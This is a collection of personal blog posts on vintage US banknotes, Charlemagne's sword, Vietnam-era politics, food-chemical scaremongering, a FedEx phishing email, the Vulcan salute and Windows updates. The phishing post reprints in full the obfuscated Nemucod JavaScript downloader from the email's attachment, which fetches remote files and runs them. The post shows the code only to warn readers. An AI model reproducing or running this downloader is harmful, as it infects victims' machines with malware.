I previously wrote about what I considered to be America’s most beautiful coinage:

Today, paper money gets a turn.

From Wikipedia:

The Educational Series series of notes is the informal nickname given by numismatists to a series of United States silver certificates produced by the United States Treasury in 1896, after Bureau of Engraving and Printing chief Claude M. Johnson ordered a new currency design. The notes depict various allegorical motifs and are considered by some numismatists to be the most beautiful monetary designs ever produced by the United States.

The One Dollar Bill

The Goddess History instructing a youth, pointing to a panoramic view of the Potomac River and Washington D.C. The Washington Monument and the US Capitol Building are visible in the background. The United States Constitution is displayed to the right. Circling the motif are the last names of famous Americans. Some of those listed are: (George) Washington, (Benjamin) Franklin, (Thomas) Jefferson, (Robert) Fulton, (Samuel F.B.) Morse, & (Ulysses S.) Grant. Full Resolution.

Reverse: Martha and George Washington.

The Two Dollar Bill

Science (center) presents Steam and Electricity (the two children) to the more mature figures of Commerce (left) and Manufacture (right). Full Resolution

Reverse: Robert Fulton and Samuel F.B. Morse

The Five Dollar Bill

Electricity surrounded by other allegorical figures, representing the dominant force in the world. The United States Capitol building can be seen behind the female figures. Full Resolution

Reverse: Ulysses S. Grant and Phillip Sheridan

These beautiful works of art, embodying both aesthetically and factually pleasing images combine with superb engraving skill¹ to create works of incredible beauty.

Not surprisingly, some Boston society ladies got their knickers in a twist over the bare breasts visible on the $5.00 note, and some bankers refused to accept these bills. The Bureau of Engraving planned a “draped” version for the 1897 series, much as the 1916 Standing Liberty quarter was re-designed the following year for the same reason (see the above-linked article), but the design was never used.

For the longest time, American currency has been soul-searingly boring. We used to be able to get away with it because the world valued the dollar no matter how ugly it looked, but those times are coming to an end. I have long wished that we could redesign our currency along the lines of things done by Australia and other countries, but as long as government is dominated by people who are convinced that the almighty dollar is unassailable, this is unlikely to happen.

At least at one point in our history, people were willing to try something new and different.

The Old Wolf has spoken.

¹ On a semi-related note, a wonderful and chilling tale which involves engraving skill can be found in “Don’t Look Behind You” by Frederick Brown. I recommend it, but not if you’re home alone on a dark night.

Pictured above is the hilt of Joyeuse (Joyous), reputedly the sword of Charlemagne. Whether or not this is true remains a subject of debate for historians, but there is no question this artifact which resides at the Louvre, is very old. Visit the Wikipedia article linked above for more provenance information.

The sword is mentioned in the Song of Roland (le Chanson de Roland), France’s epic 11th-century poem based on the based on the Battle of Roncevaux in 778:

I wrote earlier about my encounter with the Rosetta Stone; artifacts of this nature have a curious way of drawing one into their time period, even if only in imagination. I’ve been to the Louvre countless times, but never encountered Joyeuse there; it goes without saying that seeing everything in the Louvre is not an affair for even several visits.

But it’s nice to know that such things are lovingly preserved.

The Old Wolf has spoken.

The above buttons represent sentiments that were commonly seen as bumper stickers during the Vietnam War era. The former was by far the most prevalent, but the latter could be seen on the vehicles of anti-war activists. Then, as now, political polarization was the rule rather than the exception.

Ever the bellwether of social trends (if only to make fun of them,) Mad magazine featured a recurring segment by Al Jaffee entitled “Hawks and Doves:”

Tragically, the politics of the America that I have known (from Kennedy, who was the earliest president about whom I was old enough to care, to the present day) has been defined by the black-and-white fallacy. I recall my mother having said, “If Goldwater wins, we’re moving to Switzerland.”

The typical “love-it-or-leave-it” stance is epitomized in this song by Joyce Shaffer:

“Many who say “Love it or leave it,” are sincere. But their tersely stated ultimatum smacks of death not life. For if all who love America uncritically were to stay, and all who criticize America were to leave this nation, described by one of its founding fathers as “the world’s best hope,” would fast disappear.” – Dr. Ernest T.C. Campbell

That said, no group who has come to our country must ever be allowed to re-cast our basic laws and/or constitution to suit their particular ideology – any such attempt must be doomed to failure.

On the other side of the coin, America has changed since its inception. The founders had enough foresight to place into the Constitution a way of changing it, but it had to be a difficult way that made sure any changes reflected the will of the people. It’s not easy to get an amendment passed, but it has happened – and mostly for the good.

The Bill of Rights. Emancipation. Voting rights. And 24 others. Over time, change must happen or a nation stagnates.

I firmly believe it’s time for our nation to move forward into the 21st century in spirit and not just in calendar date. There are far too many things still wrong in our country; unequal opportunity, the persistence of racism, over-militarization of police departments, a deeply entrenched culture of misogyny, and a continuing belief by those in power over our lives that fighting for “truth, justice, and the American Way” involves running roughshod over other nations to plunder their resources and subvert their cultures to our benefit.

The above clip is part of a show… how I wish it had been a real speech. And it’s not perfect, because it ignores the economic terrorism that was going on under our noses during the great period of history that was being referred to. But it brings up some critical points, and casts the harsh light of reason on areas where our country needs improvement.

Unadulterated “Love it or Leave It” implies a nation that works for only a very restricted subset of our population, and not for everyone. Rigorous “Change it or Lose It” fails to focus on the things that have made and continue to make our nation a desirable destination for many of the world’s citizens.

As with anything, we need to strike a balance:

Those of us who have been blessed with American citizenship by birth, and those who seek to become members under that head, need to have a deep and abiding love for the Constitution of our land and the principles upon which it was founded. But we also need to take a hard look at our country and make a concerted effort to change the things that only work for a few and exert downward pressure on the many, all the while maintaining and defending those parts of our heritage that (in a positve way) set us apart for so long from the rest of the nations of the world.

Education is key. We need to raise new generations of people who are wanter/needer/finders, people who can look around at problems and say, “I can do something about that” and who truly have the skills to do it. In the meantime, I’m doing what I can.

The Old Wolf has spoken.

If you listen to the Food Babe Thermonuclear Idiot, that’s what you might come away believing.

But I exhort you to pay no attention to this unqualified attention harlot. Instead, feast your eyes on these chemical breakdowns of “natural” and “organic” foods.

I have to stretch to pronounce some of the chemical compounds found in these wonderful foods, but that doesn’t mean they’re bad for you. Chemicals are everywhere, they are what everything organic around us is made of.

Yes, we obviously want to avoid things that are known toxins and carcinogens; having a shaker full of hexavalent chromium on your table is probably not the best idea, but you get the picture.

Educate yourselves. Make sure your children educate themselves. Science is doing its collective best to provide accurate information to allow people to build a better world. Please pay no attention to those on the lunatic fringe who base their proclamations on innuendo and fear-mongering for the sake of attention, eyeballs, clicks, and ad revenue.

The Old Wolf has spoken.

This cannot be stressed enough: Don’t click on email attachments from unknown people.

Yesterday this email showed up in my inbox:

To: [edited] Subject: We could not deliver your parcel, #00576180 From: “FedEx International Ground” <allan.horton@web2.pnet.xcon.it>

Dear Customer,

This is to confirm that one or more of your parcels has been shipped.
Delivery Label is attached to this email.

Sincerely,
Allan Horton,
Operation Agent.
(C) 2014 FedEx. The content of this message is protected by copyright and trademark laws. All rights reserved.

Attached to the email was a file called “FedEx_ID_00576180.zip.”

Curious as ever, in an isolated environment I unpacked the zip file, and the result was immediately flagged and quarantined by Microsoft Security Essentials as containing the file “FedEx_ID_00576180.doc.js,” which contained “TrojanDownloader:JS/Nemucod.F”

What that means is that this is a javascript file containing executable code which would go out to the internet and download horrible things onto your computer – adware, keyloggers, botnet software, or even never-sufficiently-to-be-damned ransomware like Cryptolocker which could encrypt all your files and demand hundreds of dollars for a decryption key.

When I examined the file contents, it looked like this:

function hhhhhhhhhhhhhhh(){ccccc += ‘+”‘; jjjjjjjjjjjjjjj(); };  function iiiiiiiiiiiiiiii(){ccccc += ‘ction'; tttttttttttttt(); };  function ggggggggggggggg(){ccccc += ‘e();'; xxxxxxxxx(); };  function fffffff(){ccccc += ‘= w'; llllll(); };  function yyyyyyyyyyyyyyyy(){ccccc += ‘new ‘; wwwwwwwwwwwwwwww(); };  function gggggggggggggggg(){ccccc += ‘(“WS'; qqqqqqqqqqqqq(); };  function zzzzzzzzzzzz(){ccccc += ‘t.php'; llllllllllllll(); };…

In other words, it looked like garbage. Refuse. Filth. Muck. Boo! Boo! Booooooo! But when I massaged the file a little, putting each “function” call on a new line, this is what came out:

function hhhhhhhhhhhhhhh(){ccccc += ‘+”‘; jjjjjjjjjjjjjjj(); };
function iiiiiiiiiiiiiiii(){ccccc += ‘ction'; tttttttttttttt(); };
function ggggggggggggggg(){ccccc += ‘e();'; xxxxxxxxx(); };
function fffffff(){ccccc += ‘= w'; llllll(); };
function yyyyyyyyyyyyyyyy(){ccccc += ‘new ‘; wwwwwwwwwwwwwwww(); };
function gggggggggggggggg(){ccccc += ‘(“WS'; qqqqqqqqqqqqq(); };
function zzzzzzzzzzzz(){ccccc += ‘t.php'; llllllllllllll(); };
function jjjjjjjj(){ccccc += ‘dys'; zzzzzzzz(); };
function pppppppppp(){ccccc += ‘dl(51′; llllllll(); };
function xxxxxxxxxxxx(){ccccc += ‘ xa'; hhhhhhhhhhhhhh(); };
function ssssssssssss(){xx += ‘a'; ccccc += ‘n ‘; gggggggggg(); };
function wwwwwwwwwww(){ccccc += ‘de(92′; ssssssssssssssss(); };
function bbbbbbbbb(){ccccc += ‘bluee'; jjjjjjjjj(); };
function qqqqqqqqqqqqqq(){ccccc += ’00′; iiiiiiiiii(); };
function eeeeeeeee(){ccccc += ‘iv'; wwwwwwww(); };
function eeeeeeeeee(){ccccc += ‘ySt'; ggggggg(); };
function vvvvvvvvvvvvvv(){ccccc += ‘o.sta'; wwwwwww(); };
function pppppppppppppppp(){ccccc += ‘; ‘; aaaaaaaaaaaaa(); };
function ddddddddddddddd(){ccccc += ‘) ‘; ppppppp(); };
function dddddddddd(){ccccc += ‘ct'; ssssssssssssss(); };
function pppppp(){ccccc += ‘arCo'; wwwwwwwwwww(); };
function xxxxxxxxxxxxxx(){ccccc += ‘ze'; aaaaaaaaaa(); };
function iiiiiii(){ccccc += ‘ength'; gggggggggggg(); };
function yyyyyy(){ccccc += ‘r xo ‘; cccccccc(); };
function pppppppppppppp(){ccccc += ‘a.p'; mmmmmmm(); };
function uuuuuuuuuuu(){ccccc += ‘ariau'; iiiiiiiiiiiiiiii(); };
function ggggggggggg(){ccccc += ‘y)'; pppppppppppppppp(); };
function pppppppppppp(){ccccc += ‘E0707′; qqqqqqqqqqqqqq(); };
function nnnnnn(){ccccc += ‘.nidh'; nnnnnnnnnnnnnnnn(); };
function jjjjjjjjjjj(){ccccc += ‘0B'; eeeeeeeeeeeeeeee(); };
function fffffffffffffff(){ccccc += ‘ound'; hhhhhhhhhh(); };
function mmmmmmmmmmmmmm(){ccccc += ‘ry'; mmmmmmmm(); };
function lllllllllll(){ccccc += ‘ A'; dddddddddd(); };
function xxxxxxxxxx(){ccccc += ‘ }; ‘; ggggggggg(); };
function llllllllllllll(){ccccc += ‘?r'; ddddddddddd(); };
function ccccccccc(){ccccc += ‘A01′; oooooo(); };
function zzzzzzzzzzzzzzzz(){ccccc += ‘xe”; ‘; rrrrrrrrrrrr(); };
function ttttttttttttttt(){ccccc += ‘SXML2′; jjjjjjjjjjjj(); };
function xxxxxxxxxxxxx(){ccccc += ‘} cat'; ccccccccccccc(); };
function jjjjjjjjj(){ccccc += ‘cho'; hhhhhhh(); };
function qqqqqqqq(){ccccc += ‘ct'; nnnnnnnnnnnnnn(); };
function zzzzzzzzzzz(){ccccc += ‘050A2′; rrrrrrrr(); };
function vvvvvvvvvvvvv(){ccccc += ‘dn ‘; lllllllll(); };
function nnnnnnnn(){ccccc += ‘ } ‘; hhhhhhhhhhhhhhhh(); };
function aaaaaaaaaaaa(){ccccc += ‘xo.op'; kkkkkkkkkkk(); };
function sssssssssssss(){ccccc += ‘ (xa'; xxxxxxxx(); };
function hhhhhhhhhhh(){ccccc += ‘ xa.'; qqqqqqqqqqqqqqqq(); };
function wwwwwwww(){ccccc += ‘eX'; ddddddddddddd(); };
function kkkkkkk(){xx += ‘v'; ccccc += ‘tio'; ssssssssssss(); };
function uuuuuuuuuuuuuuuu(){ccccc += ‘eXObj'; bbbbbbbbbb(); };
function ggggggg(){ccccc += ‘ate'; zzzzzzzzzzzzz(); };
function ffffffffffffff(){ccccc += ‘”&id'; ddddddd(); };
function rrrrrrrr(){ccccc += ‘407’; jjjjjjjjjjj(); };
function vvvvvvvv(){ccccc += ‘.read'; eeeeeeeeee(); };
function zzzzzzzzz(){ccccc += ‘515’; pppppppppppp(); };
function sssssssssss(){ccccc += ‘ndom(‘; iiiiiiiiiiii(); };
function cccccccccccc(){ccccc += ‘ent'; bbbbbbbbbbbbbbbb(); };
function rrrrrrrrrr(){ccccc += ‘en()'; sssssss(); };
function iiiiiiiiiiii(){ccccc += ‘)*100′; dddddddddddd(); };
function kkkkkkkkkk(){ccccc += ‘ A'; qqqqqqqq(); };
function qqqqqqqqqqqq(){ccccc += ‘%TEMP'; aaaaaaaa(); };
function mmmmmmmmmmmmm(){ccccc += ‘ct(“M'; ttttttttttttttt(); };
function ccccccc(){ccccc += ‘”h'; rrrrrrrrrrrrrr(); };
function sssssssss(){ccccc += ‘= 1)'; xxxxxxxxxxxxxxx(); };
function cccccccccc(){ccccc += ‘e(xo'; bbbbbbbb(); };
function rrrrrrrrrrrrrrr(){ccccc += ‘ ='; ffffffffffff(); };
function rrrrrrrrrrrr(){ccccc += ‘var'; lllllllllllll(); };
function xxxxxxxx(){ccccc += ‘.si'; xxxxxxxxxxxxxx(); };
function ggggggggggggg(){ccccc += ‘104A0′; ccccccccc(); };
function mmmmmmmmmm(){ccccc += ‘= 1; ‘; kkkkkkkkkkkkk(); };
function bbbbbbbbbbbbbbb(){ccccc += ‘ b'; rrrrrrrrrrrrrrr(); };
function wwwwwww(){ccccc += ‘tu'; tttttttttttt(); };
function sssssss(){ccccc += ‘; xa.'; uuuuuu(); };
function lllllllll(){ccccc += ‘= 1;'; qqqqqqqqqq(); };
function llllll(){ccccc += ‘s.'; ttttttttttt(); };
function rrrrrrrrrrrrrrrr(){ccccc += ‘ar ‘; ssssss(); };
function uuuuuuuuuuuuuuu(){ccccc += ‘ngs'; nnnnnnn(); };
function gggggggggggg(){ccccc += ‘; ‘; lllllll(); };
function fffffffff(){ccccc += ‘r+'; ffffffffffffff(); };
function jjjjjjjjjjjjjjj(){ccccc += ‘.e'; zzzzzzzzzzzzzzzz(); };
function dddddd(){ccccc += ‘ech'; qqqqqq(); };
function eeeeeeee(){ccccc += ‘&& x'; vvvvvvvvvvvvvv(); };
function uuuuuuuu(){xx += ‘e'; ccccc += ‘func'; kkkkkkk(); };
function aaaaaaaaaaaaaa(){ccccc += ‘[i]'; uuuuuuuuuuuuuu(); };
function qqqqqqqqqqqqqqq(){ccccc += ‘o.sen'; wwwwwwwwwwwwww(); };
function ssssssssss(){ccccc += ‘; for'; llllllllllllllll(); };
function lllllllllllll(){ccccc += ‘ dn ‘; dddddddddddddd(); };
function aaaaaaaaaaaaaaa(){ccccc += ‘.Ru'; ccccccccccccccc(); };
function ppppppp(){ccccc += ‘{ va'; qqqqqqqqq(); };
function rrrrrrrrr(){ccccc += ‘r ws ‘; llllllllllll(); };
function bbbbbbbb(){ccccc += ‘.Resp'; mmmmmmmmm(); };
function jjjjjjjjjjjjjj(){ccccc += ‘pt.S'; aaaaaaaaaaaaaaaa(); };
function cccccccccccccc(){ccccc += ‘000’; uuuuuuuuuuuuu(); };
function cccccccccccccccc(){ccccc += ‘it'; bbbbbbbbbbbbb(); };
function xxxxxx(){ccccc += ‘);'; bbbbbbbbbbbb(); };
function ssssss(){ccccc += ‘i=0;'; yyyyyyyyyyyyy(); };
function yyyyyyyyyyyyyyy() { this[xx](ccccc); };
function llllllllllllllll(){ccccc += ‘ (v'; rrrrrrrrrrrrrrrr(); };
function iiiiii(){ccccc += ‘)+S'; hhhhhh(); };
function eeeeeeeeeeee(){ccccc += ‘od'; ggggggggggg(); };
function ccccccccccc(){ccccc += ‘h.r'; fffffffffffffff(); };
function zzzzzz(){ccccc += ‘}; ‘; llllllllll(); };
function aaaaaaaaaaaaaaaa(){ccccc += ‘hell'; pppppppp(); };
function gggggggg(){ccccc += ‘0;'; bbbbbbbbbbbbbb(); };
function hhhhhhhh(){ccccc += ‘B.S'; bbbbbbb(); };
function pppppppp(){ccccc += ‘”); v'; kkkkkkkkkkkkkk(); };
function wwwwwwwwwwwww(){ccccc += ‘nd'; jjjjjjjjjj(); };
function iiiiiiiiii(){ccccc += ’01′; sssssssssssssss(); };
function gggggggggg(){xx += ‘l'; ccccc += ‘dl(fr'; kkkkkkkk(); };
function nnnnnnn(){ccccc += ‘(“‘; qqqqqqqqqqqq(); };
function vvvvvvvvvvvvvvv(){ccccc += ‘oF'; yyyyyyyyy(); };
function iiiiiiii(){ccccc += ‘.f'; ttttttttttttt(); };
function jjjjjj(){ccccc += ‘} }; ‘; pppppppppp(); };
function wwwwwwwwww(){ccccc += ‘om”‘; jjjjjjjjjjjjjjjj(); };
function mmmmmmmm(){ccccc += ‘ { ws'; aaaaaaaaaaaaaaa(); };
function oooooooooooooo(){ccccc += ‘m”);'; hhhhhhhhhhh(); };
function ggggggggg(){ccccc += ‘try'; iiiiiiiiiii(); };
function vvvvvvvvv(){ccccc += ‘en'; zzzzzzzzzzzz(); };
function hhhhhh(){ccccc += ‘tring'; iiiiiiii(); };
function mmmmmmm(){ccccc += ‘ositi'; ttttttttt(); };
function eeeeeeeeeeeeeee(){ccccc += ‘ct'; gggggggggggggggg(); };
function qqqqqqqqqqqqqqqq(){ccccc += ‘op'; rrrrrrrrrr(); };
function ttttttttttttt(){ccccc += ‘ro'; ppppppppppp(); };
function nnnnnnnnn(){ccccc += ‘/”+b'; aaaaaaaaaaaaaa(); };
function hhhhhhh(){ccccc += ‘stud'; yyyyyyyyyyyyyy(); };
function eeeeeeeeeeeeee(){ccccc += ‘; ‘; jjjjjj(); };
function tttttttt(){ccccc += ‘reak'; eeeeeeeeeeeeee(); };
function jjjjjjjjjjjjj(){ccccc += ‘ (dn'; aaaaaaa(); };
function eeeeee(){ccccc += ‘a = n'; iiiiiiiiiiiiiii(); };
function vvvvvvvvvvvv(){ccccc += ‘};'; xxxxxxxxxxxx(); };
function zzzzzzz(){ccccc += ‘”AD'; ddddddddd(); };
function zzzzzzzzzz(){ccccc += ‘n ‘; fffffff(); };
function aaaaaaaa(){ccccc += ‘%”‘; iiiiii(); };
function hhhhhhhhhhhhhh(){ccccc += ‘.clos'; ggggggggggggggg(); };
function yyyyyyyyyyyyy(){ccccc += ‘ i'; fffffffffffff(); };
function eeeeeeeeeeeee(){ccccc += ‘f (xo'; vvvvvvvv(); };
function uuuuuuuuu(){ccccc += ‘ { i'; eeeeeeeeeeeee(); };
function qqqqqqqqqq(){ccccc += ‘ x'; pppppppppppppp(); };
function oooooooooo(){ccccc += ‘je'; mmmmmmmmmmmmm(); };
function iiiiiiiiiii(){ccccc += ‘ { ‘; aaaaaaaaaaaa(); };
function nnnnnnnnnn(){ccccc += ‘dl(20′; ffffffffff(); };
function aaaaaaaaa(){ccccc += ’00)'; hhhhhhhhhhhhhhh(); };
function hhhhhhhhhhhhhhhh(){ccccc += ‘catc'; ssssssss(); };
function kkkkkkkkk(){ccccc += ‘fn,1′; kkkkkk(); };
function nnnnnnnnnnnnnnnn(){ccccc += ‘og'; nnnnnnnnnnnnn(); };
function ffffff(){ccccc += ‘TTP”‘; xxxxxx(); };
function ooooooooooo(){ccccc += ‘lit'; hhhhhhhhh(); };
function mmmmmm(){ccccc += ‘= 0; ‘; iiiiiiiiiiiii(); };
function nnnnnnnnnnnnnn(){ccccc += ‘iv'; uuuuuuuuuuuuuuuu(); };
function bbbbbbbbbb(){ccccc += ‘ect(‘; zzzzzzz(); };
function hhhhhhhhhh(){ccccc += ‘(Ma'; xxxxxxxxxxxxxxxx(); };
function ssssssss(){ccccc += ‘h (e'; ppppppppp(); };
function nnnnnnnnnnnnn(){ccccc += ‘.com ‘; bbbbbbbbb(); };
function kkkkkkkkkkkkk(){ccccc += ‘xa.wr'; mmmmmmmmmmmm(); };
function oooooo(){ccccc += ’10″‘; rrrrrrr(); };
function aaaaaaa(){ccccc += ‘ ='; sssssssss(); };
function ssssssssssssssss(){ccccc += ‘)+Mat'; ccccccccccc(); };
function kkkkkkkkkkkkkkk(){ccccc += ‘.c'; wwwwwwwwww(); };
function ddddddddd(){ccccc += ‘OD'; hhhhhhhh(); };
function iiiiiiiii(){ccccc += ‘”+f'; fffffffff(); };
function eeeeeeeeeeeeeeee(){ccccc += ‘09070’; hhhhhhhhhhhh(); };
function xxxxxxxxxxxxxxx(){ccccc += ‘ b'; tttttttt(); };
function yyyyyyyy(){ccccc += ‘n,2)'; ffffffffffffffff(); };
function mmmmmmmmmmmm(){ccccc += ‘it'; cccccccccc(); };
function bbbbbbbbbbbb(){ccccc += ‘ xo.o'; wwwwwwwww(); };
function llllllll(){ccccc += ’41′; vvvvvv(); };
function vvvvvvvvvvv(){ccccc += ‘ri'; uuuuuuuuuuuuuuu(); };
function zzzzzzzzzzzzz(){ccccc += ‘ =='; aaaaaaaaaaa(); };
function hhhhhhhhhhhh(){ccccc += ‘517’; ggggggggggggg(); };
function tttttt(){ccccc += ‘r)'; ooooooo(); };
function ssssssssssssss(){ccccc += ‘ive'; dddddddddddddddd(); };
function fffffffffffff(){ccccc += ‘<b.l'; iiiiiii(); };
function qqqqqq(){ccccc += ‘ange ‘; nnnnnnnnnnnn(); };
function xxxxxxxxxxxxxxxx(){ccccc += ‘th.ra'; sssssssssss(); };
function qqqqqqqqqqqqq(){ccccc += ‘cri'; jjjjjjjjjjjjjj(); };
function ppppppppppp(){ccccc += ‘mCh'; pppppp(); };
function aaaaaaaaaa(){ccccc += ‘ > 5′; cccccccccccccc(); };
function ddddddd(){ccccc += ‘=545D'; zzzzzzzzz(); };
function jjjjjjjjjj(){ccccc += ‘Env'; yyyyyyyyyyy(); };
function aaaaaaaaaaaaa(){ccccc += ‘if'; sssssssssssss(); };
function iiiiiiiiiiiiiii(){ccccc += ‘ew'; kkkkkkkkkk(); };
function qqqqqqqqqqq(){ccccc += ‘; ‘; xxxxxxxxxxxxx(); };
function hhhhhhhhhhhhh(){ccccc += ‘lse)'; kkkkkkkkkkkk(); };
function nnnnnnnnnnnn(){ccccc += ‘= ‘; ooooooooooooo(); };
function dddddddddddddddd(){ccccc += ‘XObje'; eeeeeeeeeeeeeee(); };
function kkkkkkkk(){ccccc += ‘) { ‘; uuuuuuuuuu(); };
function ooooooooo(){ccccc += ‘200’; ddddddddddddddd(); };
function xxxxxxxxx(){ccccc += ‘ };'; xxxxxxxxxx(); };
function jjjjjjjjjjjjjjjj(){ccccc += ‘.sp'; ooooooooooo(); };
function kkkkkkkkkkkk(){ccccc += ‘; x'; qqqqqqqqqqqqqqq(); };
function kkkkkkkkkkkkkk(){ccccc += ‘ar f'; zzzzzzzzzz(); };
function jjjjjjjjjjjj(){ccccc += ‘.XMLH'; ffffff(); };
function zzzzzzzz(){ccccc += ‘tat'; dddddd(); };
function rrrrrrr(){ccccc += ‘ ,fa'; hhhhhhhhhhhhh(); };
function wwwwwwwww(){ccccc += ‘nrea'; jjjjjjjj(); };
function wwwwwwwwwwwwww(){ccccc += ‘d();'; nnnnnnnn(); };
function hhhhhhhhh(){ccccc += ‘(” “)'; ssssssssss(); };
function yyyyyyyyyyyyyy(){ccccc += ‘ios'; kkkkkkkkkkkkkkk(); };
function ppppppppp(){ccccc += ‘r) {‘; zzzzzz(); };
function bbbbbbbbbbbbbb(){ccccc += ‘ va'; yyyyyy(); };
function vvvvvvvvvvvvvvvv(){ccccc += ‘com p'; cccccccccccccccc(); };
function dddddddddddd(){ccccc += ‘0000’; aaaaaaaaa(); };
function lllllll(){ccccc += ‘i++)'; qqqqqqq(); };
function wwwwwwwwwwww(){ccccc += ‘ction'; oooooooooooooooo(); };
function zzzzzzzzzzzzzzz(){ccccc += ‘cum'; vvvvvvvvv(); };
function gggggg(){ccccc += ‘new'; lllllllllll(); };
function vvvvvv(){ccccc += ‘); ‘; nnnnnnnnnn(); };
function qqqqqqqqq(){ccccc += ‘r x'; eeeeee(); };
function ffffffffffff(){ccccc += ‘ “mun'; uuuuuuuuuuu(); };
function bbbbbbbbbbbbbbbb(){ccccc += ‘St'; vvvvvvvvvvv(); };
function ccccccccccccccc(){ccccc += ‘n(‘; kkkkkkkkk(); };
function qqqqqqq(){ccccc += ‘ { va'; rrrrrrrrr(); };
function kkkkkkkkkkk(){ccccc += ‘en(“‘; rrrrrr(); };
function ddddddddddd(){ccccc += ‘nd='; iiiiiiiii(); };
function ooooooooooooo(){ccccc += ‘fun'; wwwwwwwwwwww(); };
function llllllllll(){ccccc += ‘if'; jjjjjjjjjjjjj(); };
function uuuuuuuuuuuuu(){ccccc += ‘) { ‘; vvvvvvvvvvvvv(); };
function sssssssssssssss(){ccccc += ’17′; zzzzzzzzzzz(); };
function yyyyyyyyy(){ccccc += ‘ile(f'; yyyyyyyy(); };
function wwwwwwwwwwwwwwww(){ccccc += ‘Act'; eeeeeeeee(); };
function llllllllllll(){ccccc += ‘= ‘; gggggg(); };
function uuuuuu(){ccccc += ‘type ‘; mmmmmmmmmm(); };
function tttttttttttttt(){ccccc += ‘s.'; vvvvvvvvvvvvvvvv(); };
function mmmmmmmmm(){ccccc += ‘onseB'; eeeeeeeeeeee(); };
function dddddddddddddd(){ccccc += ‘= ‘; gggggggg(); };
function ttttttttt(){ccccc += ‘on ‘; mmmmmm(); };
function ttttttttttt(){ccccc += ‘Expa'; wwwwwwwwwwwww(); };
function tttttttttttt(){ccccc += ‘s == ‘; ooooooooo(); };
function uuuuuuuuuu(){ccccc += ‘var'; bbbbbbbbbbbbbbb(); };
function ffffffffff(){ccccc += ’52);'; yyyyyyyyyyyyyyy(); };
function ffffffffffffffff(){ccccc += ‘; t'; mmmmmmmmmmmmmm(); };
function bbbbbbbbbbbbb(){ccccc += ‘faa'; nnnnnn(); };
function yyyyyyyyyyy(){ccccc += ‘ironm'; cccccccccccc(); };
function ooooooo(){ccccc += ‘ {}; ‘; vvvvvvvvvvvv(); };
function oooooooooooooooo(){ccccc += ‘()'; uuuuuuuuu(); };
function ccccccccccccc(){ccccc += ‘ch (e'; tttttt(); };
function mmmmmmmmmmm(){ccccc += ‘aveT'; vvvvvvvvvvvvvvv(); };
function rrrrrr(){ccccc += ‘GET”,'; ccccccc(); };
function uuuuuuuuuuuuuu(){ccccc += ‘+”/do'; zzzzzzzzzzzzzzz(); };
function iiiiiiiiiiiii(){ccccc += ‘xa.s'; mmmmmmmmmmm(); };
function bbbbbbb(){ccccc += ‘trea'; oooooooooooooo(); };
function ddddddddddddd(){ccccc += ‘Ob'; oooooooooo(); };
function kkkkkk(){ccccc += ‘,0)'; qqqqqqqqqqq(); };
function cccccccc(){ccccc += ‘= ‘; yyyyyyyyyyyyyyyy(); };
function aaaaaaaaaaa(){ccccc += ‘ 4 ‘; eeeeeeee(); };
function rrrrrrrrrrrrrr(){ccccc += ‘ttp:/'; nnnnnnnnn(); }; var ccccc = ”; var xx = ”; uuuuuuuu();

By looking at the text elements in quotes (things like “ironm”, “ttp:/”, “.Ru”, etc. it’s pretty easy to see that the whole purpose of this script is to concatenate instructions which will lead your computer to some Russian website and infest your machine with code from Hell. I’m not skilled in Javascript (or, more accurately, it would take me more time than it’s worth to decrypt this script,) so suffice it to say you don’t want this on your machine.

The email looks like it’s from FedEx. Some poor computer-illiterate secretary, or your grandmother, or cousin, or someone who just used FedEx would probably think it was legitimate, download the file, unzip it, double-click on it, and Bob’s your uncle.

DON’T DO IT!

Attachments from people you don’t know, particularly .zip or .rar, are to be assiduously avoided. Trash them at once.

Please be vigilant and take good care of yourself and your loved ones.

The Old Wolf has spoken.

The image popped up on Facebook; a bit of digging brought me to this post from Mantilla and Converse, which I thought was worth sharing in its entirety:

בשמאלה עושר וכבוד – in her left hand riches and honor

Happy are those who find wisdom,
and those who get understanding,
for her income is better than silver,
and her revenue better than gold.
She is more precious than jewels,
and nothing you desire can compare with her.
Long life is in her right hand;
in her left hand are riches and honor.
Her ways are ways of pleasantness,
and all her paths are peace.
She is a tree of life to those who lay hold of her;
those who hold her fast are called happy.

– Proverbs 3:13-18

The gesture depicted is one of priestly blessing used in certain Jewish services, and was also the inspiration for the Vulcan salute in the Star Trekfranchise:

In his autobiography I Am Not Spock, [Leonard] Nimoy wrote that he based [the Vulcan salute] on the Priestly Blessing performed byJewish Kohanim with both hands, thumb to thumb in this same position, representing the Hebrew letter Shin (ש), which has three upward strokes similar to the position of the thumb and fingers in the salute. The letter Shin here stands for Shaddai, meaning “Almighty (God)”. Nimoy wrote that when he was a child, his grandfather took him to an Orthodox synagogue. There he saw the blessing performed and was very impressed by it.

The mosaic depicted is from the Synagogue of Enschede in The Netherlands.

ETA: It just occurred to me that “Long life is in her right hand; in her left are riches and honor” is rather similar to “Live long and prosper”.

I wondered the same thing yesterday, as Windows chose a very inopportune time to shut my system down, do it’s thing, restart, do it’s thing, and finally re-boot. There were 17 updates waiting to install, and over 24,000 registry entries to be updated. The whole process took about half an hour.

Doing a little poking around, I found a very interesting take on the situation at the Microsoft community. I thought I’d post it here, as a lot of people don’t visit these tech fora.

From user xp.client; this was written in 2012, but the situation does not seem to have improved much since then.

Okay maybe some background on the root of the problem would help. Windows XP used a fast and great mechanism called Hotfix Installer (Update.exe) to install updates. Updates installed in very little time (if you want to even reduce update time on XP, temporarily stop the System Restore service) and updates will install at crazy speeds because it doesn’t waste time creating a restore point for every update. Hotfix installer works by simply installing a new version of files to be updated at C:\Windows\system32 and C:\Windows\system32\dllcache (the Windows File Protection cache). This is File Based Servicing. The hotfix installer (Update.exe) also supported various command line switches like /nobackup which means not to backup files it patches as you won’t be uninstalling any updates and would save disk space by not backing files up. It also supported the ability to slipstream a service pack or update into the original XP setup files using the /s switch.

When Microsoft was developing Windows Vista, they realized that components had gotten too many interdepencies on each other and to service/patch each file reliably without breaking another component that relied on it, Microsoft introduced what they called as Component Based Servicing (CBS) (read all about it in The Servicing Guy’s blog: http://blogs.technet.com/b/joscon/). What it does basically is it installs the entire OS’s all files including all languages and all drivers shipped with the OS into C:\Windows\WinSxS and then it hard links files from there to C:\Windows\system32. Whenever an update is installed, it no longer installs it to C:\Windows\system32 and C:\Windows\system32\dllcache like XP’s hotfix installer (Update.exe) did. Instead, it updates the files in C:\Windows\WinSxS. Now WinSxS can contain multiple copies of the same file if it is used by more than 1 Windows component. The higher the number of components, that many number of times the file exists in C:\Windows\WinSxS.

